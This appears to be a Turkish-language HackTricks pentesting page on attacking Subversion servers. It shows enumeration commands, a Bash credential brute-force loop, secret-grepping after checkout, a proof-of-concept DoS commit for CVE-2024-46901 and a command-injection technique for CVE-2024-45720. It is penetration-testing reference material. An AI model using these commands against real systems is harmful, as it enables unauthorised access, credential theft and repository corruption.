3690/tcp - Pentesting Subversion (SVN) Server
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Temel Bilgiler
Subversion (SVN) merkezi bir sürüm kontrol sistemi (Apache lisansı) olup yazılım sürümlendirme ve revizyon kontrolü için kullanılır.
Varsayılan port: 3690/tcp (svnserve). Ayrıca mod_dav_svn aracılığıyla HTTP/HTTPS üzerinden ve svn+ssh ile de erişilebilir.
PORT STATE SERVICE
3690/tcp open svnserve Subversion
Banner Grabbing
nc -vn 10.10.10.10 3690
svnserve --version # if shell access is obtained
svn --version # client version leak via error messages
Enumeration
# Anonymous / authenticated listing
svn ls svn://10.10.10.203 # list root
svn ls -R svn://10.10.10.203/repo # recursive list
svn info svn://10.10.10.203/repo # repo metadata
svn log svn://10.10.10.203/repo # commit history
svn checkout svn://10.10.10.203/repo # checkout repository
svn up -r 2 # move working copy to revision 2
svn diff -r 1:HEAD svn://10.10.10.203/repo # view changes
# If served over HTTP(S)
svn ls https://10.10.10.10/svn/repo --username guest --password ''
# Extract revision props (often contain build creds, URLs, tokens)
svn propget --revprop -r HEAD svn:log svn://10.10.10.203/repo
Auth & Yanlış Yapılandırma Avı
svnserve.confanon-access = read(veya hatta write) izin verebilir. Eğer listeleyebiliyorsanız, sırları, scriptleri ve CI tokens’ı dökmek içincheckoutyapmayı deneyin.- Depolar sıklıkla sürümlenmiş konfigürasyon dosyalarında build pipelines, deployment keys ve database credentials saklar. Checkout’tan sonra working copy üzerinde grep atın:
grep -R "password\|secret\|token" -n .. - Eğer
svn+sshetkinse, kullanıcı shell’leri genellikle kısıtlısvnservekomutlarına izin verir; wrapper’ları atlatmak için hazırlanmış alt komutlarlassh user@host svnserve -tyapmayı deneyin.
Bruteforcing credentials (svnserve)
sasl authentication (if enabled) ve basit parola dosyaları sadece taşıma tarafından korunur; varsayılan olarak kilitleme yoktur. Hızlı bir Bash döngüsü kimlik bilgilerini deneyebilir:
for u in admin dev ci; do
for p in $(cat /tmp/passlist); do
svn ls --username "$u" --password "$p" svn://10.10.10.203/repo 2>/dev/null && echo "[+] $u:$p" && break
done
done
Yakın Zamandaki Zafiyetler (pratik etkiler)
mod_dav_svn DoS kontrol karakterleri aracılığıyla (CVE-2024-46901)
- commit rights’e sahip bir kullanıcı, kontrol karakterleri (ör.
\x01,\x7f) içeren bir yol yazabilir; bu, deponun bozulmasına neden olarak sonraki checkouts/logs işlemlerinin başarısız olmasına vemod_dav_svnworkers süreçlerinin çökmesine yol açabilir. - HTTP(S) (
mod_dav_svn) üzerinden sunulduğunda Subversion ≤ 1.14.4 sürümlerini etkiler. 1.14.5’te düzeltildi. - PoC commit
svnmuccile (geçerli commit creds gerektirir):
# create payload file
printf 'pwn' > /tmp/payload
# commit a path with a control character in its name
svnmucc -m "DoS" put /tmp/payload $'http://10.10.10.10/svn/repo/trunk/bad\x01path.txt'
- Commit’ten sonra, normal client’lar çökebilir veya yöneticiler
svnadmin dump/filter/loadile revizyonu elle kaldırana kadar güncellemeleri reddedebilir.
Windows argument injection in svn client (CVE-2024-45720)
- Windows’ta,
svn.exeiçindeki “best-fit” karakter kodlaması, özel olarak hazırlanmış ASCII olmayan yol/URL’leri işlerken command-line argument injection’a izin veriyor ve potansiyel olarak rastgele program çalıştırmaya yol açabiliyor. - Sadece Windows’ta Subversion ≤ 1.14.3’ü etkiler; 1.14.4’te düzeltildi. Saldırı yüzeyi: bir geliştiriciyi kandırıp saldırgan kontrollü bir URL/yol üzerinde
svnçalıştırmasını sağlamak. - Pentest angle: eğer bir Windows geliştiricisine verilen bir ağ paylaşımını veya ZIP dosyasını kontrol ediyorsanız, depo URL’sini veya çalışma-kopyası yolunu best-fit byte’larının
" & calc.exe & "-benzeri enjekte edilmiş argümanlara dönüşeceği şekilde adlandırın; sonra kurbanı o yoldasvn statusveya benzeri bir komut çalıştırmak için kandırın.
İstismar İş Akışı için Notlar
- Erişim yöntemini kontrol edin:
svn://(svnserve),http(s)://.../svn/(mod_dav_svn), veyasvn+ssh://. - Önce anonim okuma deneyin; sonra yaygın creds’leri spray edin. Eğer HTTP Basic kullanılıyorsa, başka yerlerde bulunan creds’leri yeniden kullanın.
- Hooks’ları listeleyin:
hooks/pre-commit,post-commitscript’leri bazen düz metin creds veya host adları içerir. - Leverage
svn:externalsile diğer host’lardan ek yollar çekin; checkout’tan sonra bunlarısvn propget svn:externals -R .ile listeleyin. - Version leaks:
mod_dav_svn’den gelen HTTP yanıt başlıkları genellikle Subversion & Apache sürümünü gösterir; zafiyetli hedefleri tespit etmek için 1.14.5 ile karşılaştırın. - Eğer repoya dosya sistemi erişimi elde ederseniz,
svnadmin dump/svnlook author/svnlook dirs-changedkimlik bilgisi olmadan çevrimdışı analiz yapmanızı sağlar.
References
- Apache Subversion security advisory CVE-2024-46901
- Apache Subversion security advisory CVE-2024-45720
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.


